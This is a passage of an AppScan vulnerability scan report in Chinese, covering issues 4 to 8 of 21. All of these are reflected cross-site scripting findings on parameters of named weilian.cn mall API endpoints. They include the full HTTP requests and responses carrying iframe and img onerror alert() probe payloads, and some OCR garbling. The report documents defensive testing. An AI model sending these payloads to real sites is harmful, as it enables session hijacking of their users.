egex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<img src=x onerror=alert(7400)>"
```

问题 **4** / **21** TOC

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	pageNum (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/6

差异: 参数 从以下位置进行控制: 1)至: 1%3Ciframe+src%3Djavascript%3Aalert%287484%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET
/order/selectCmsOrderList/0?pageNum=1%3Ciframe+src%3Djavascript%3Aalert%287484%29%3E&pageSize=15
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:04 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<iframe src=javascript:alert(7484)>"
```

变体-|2/6

差异: 参数 从以下位置进行控制: 1 至: 1%3Cimg+src%3Djavascript%3Aalert%287489%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1%3Cimg+src%3Djavascript%3Aalert%287489%29%3E&pageSize=15
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:04 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<img src=javascript:alert(7489)>"
```

变体-|3/6

差异: 参数 从以下位置进行控制: (1)至: (1%3Cimg+src%3Dx+onerror%3Dalert%287494%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1%3Cimg+src%3Dx+onerror%3Dalert%287494%29%3E&pageSize=15
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:05 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<img src=x onerror=alert(7494)>"
```

变体-|4/6

差异: 参数 从以下位置进行控制: 1 至: 1*3Ciframe+src*3Djavascript*3Aalert*287675%29*3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
/order/selectCmsOrderList/0?pageNum=1%3Ciframe+src%3Djavascript%3Aalert%287675%29%3E&pageSize=15&
orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:16 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<iframe src=javascript:alert(7675)>"
```

变体-|5/6

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
/order/selectCmsOrderList/0?pageNum=1%3Cimg+src%3Djavascript%3Aalert%287684%29%3E&pageSize=15&ord
erNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:16 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<img src=javascript:alert(7684)>"
```

变体-|6/6

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET
/order/selectCmsOrderList/0?pageNum=1%3Cimg+src%3Dx+onerror%3Dalert%287692%29%3E&pageSize=15&orde
rNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with.content-type,sessionid
```

```
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:16 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

For input string: "1<img src=x onerror=alert(7692)>"
```

问题 **5 / 21** Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	pageSize (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/6

差异: 参数 从以下位置进行控制: 15 至:

15%3Ciframe+src%3Djavascript%3Aalert%287520%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?
pageNum=1&pageSize=15%3Ciframe+src%3Djavascript%3Aalert%287520%29%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:06 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

For input string: "15<iframe src=javascript:alert(7520)>"

变体-|2/6

差异: 参数 从以下位置进行控制: (15) 至: (15*3Cimg+src*3Djavascript*3Aalert*287525*29*3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=15%3Cimg+src%3Djavascript%3Aalert%287525%29%3E
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:06 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<img src=javascript:alert(7525)>"
```

变体-13/6

差异: 参数 从以下位置进行控制: (15) 至: (15%3Cimg+src%3Dx+onerror%3Dalert%287528%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=15*3Cimg+src*3Dx+onerror*3Dalert*287528*29*3E
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
```

```
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:07 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

For input string: "15<a href="mailto:kimg src=x">kimg src=x</a> onerror=alert(7528)>"
```

变体-|4/6

差异: 参数 从以下位置进行控制: 15 至:

15%3Ciframe+src%3Djavascript%3Aalert%287714%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?
pageNum=1&pageSize=15%3Ciframe+src%3Djavascript%3Aalert%287714%29%3E&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<iframe src=javascript:alert(7714)>"
```

变体-|5/6

差异: 参数 从以下位置进行控制: (15)至: (15%3Cimg+src%3Djavascript%3Aalert%287720%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?
pageNum=1&pageSize=15%3Cimg+src%3Djavascript%3Aalert%287720%29%3E&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
```

```
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<img src=javascript:alert(7720)>"
```

变体-|6/6

差异: 参数 从以下位置进行控制: (15) 至: (15%3Cimg+src%3Dx+onerror%3Dalert%287723%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?
pageNum=1&pageSize=15%3Cimg+src%3Dx+onerror%3Dalert%287723%29%3E&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:18 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<img src=x onerror=alert(7723)>"
```

问题 6 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/pubRole/selectVipRoleList
实体:	goodslevelid (Parameter)
RFM:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/3

差异: 参数 从以下位置进行控制: 3 至: 3%3Ciframe+src%3Djavascript%3Aalert%287771%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=3%3Ciframe+src%3Djavascript%3Aalert%287771%29%3E
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "3<iframe src=javascript:alert(7771)>"
```

变体-|2/3

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=3%3Cimg+src%3Djavascript%3Aalert%287778%29%3E
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "3<img src=javascript:alert(7778)>"
```

变体-|3/3

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=3%3Cimg+src%3Dx+onerror%3Dalert%287785%29%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "3<img src=x onerror=alert(7785)>"
```

问题 7 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	gsbmid (Parameter)
RFM:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/3

差异: 参数 从以下位置进行控制: —至: <code>%3Ciframe+src%3Djavascript%3Aalert%287937%29%3E</code>

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=%3Ciframe+src%3Djavascript%3Aalert%287937%29%3E&ap
provaltypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:45 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<iframe src=javascript:alert(7937)>"
```

变体-|2/3

差异: 参数 从以下位置进行控制: — 至: %3Cimg+src%3Djavascript%3Aalert%287942%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=%3Cimg+src%3Djavascript%3Aalert%287942%29%3E&appro
```

```
valtypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:45 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<img src=javascript:alert(7942)>"
```

变体-|3/3

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
\verb|goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&3Cimg+src&3Dx+onerror&3Dalert&287945&29&3E&approv||
altypeid=&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:45 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<img src=x onerror=alert(7945)>"
```

问题 **8 / 21** Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodslevelid (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/3

差异: 参数 从以下位置进行控制: — 至: (%3Ciframe+src%3Djavascript%3Aalert%288025%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
script%3Aalert%288025%29%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:47 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "<iframe src=javascript:alert(8025)>"
```

变体-|2/3

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=&goodslevelid=%3Cimg+src%3Djavascr
```

```
ipt%3Aalert%288035%29%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
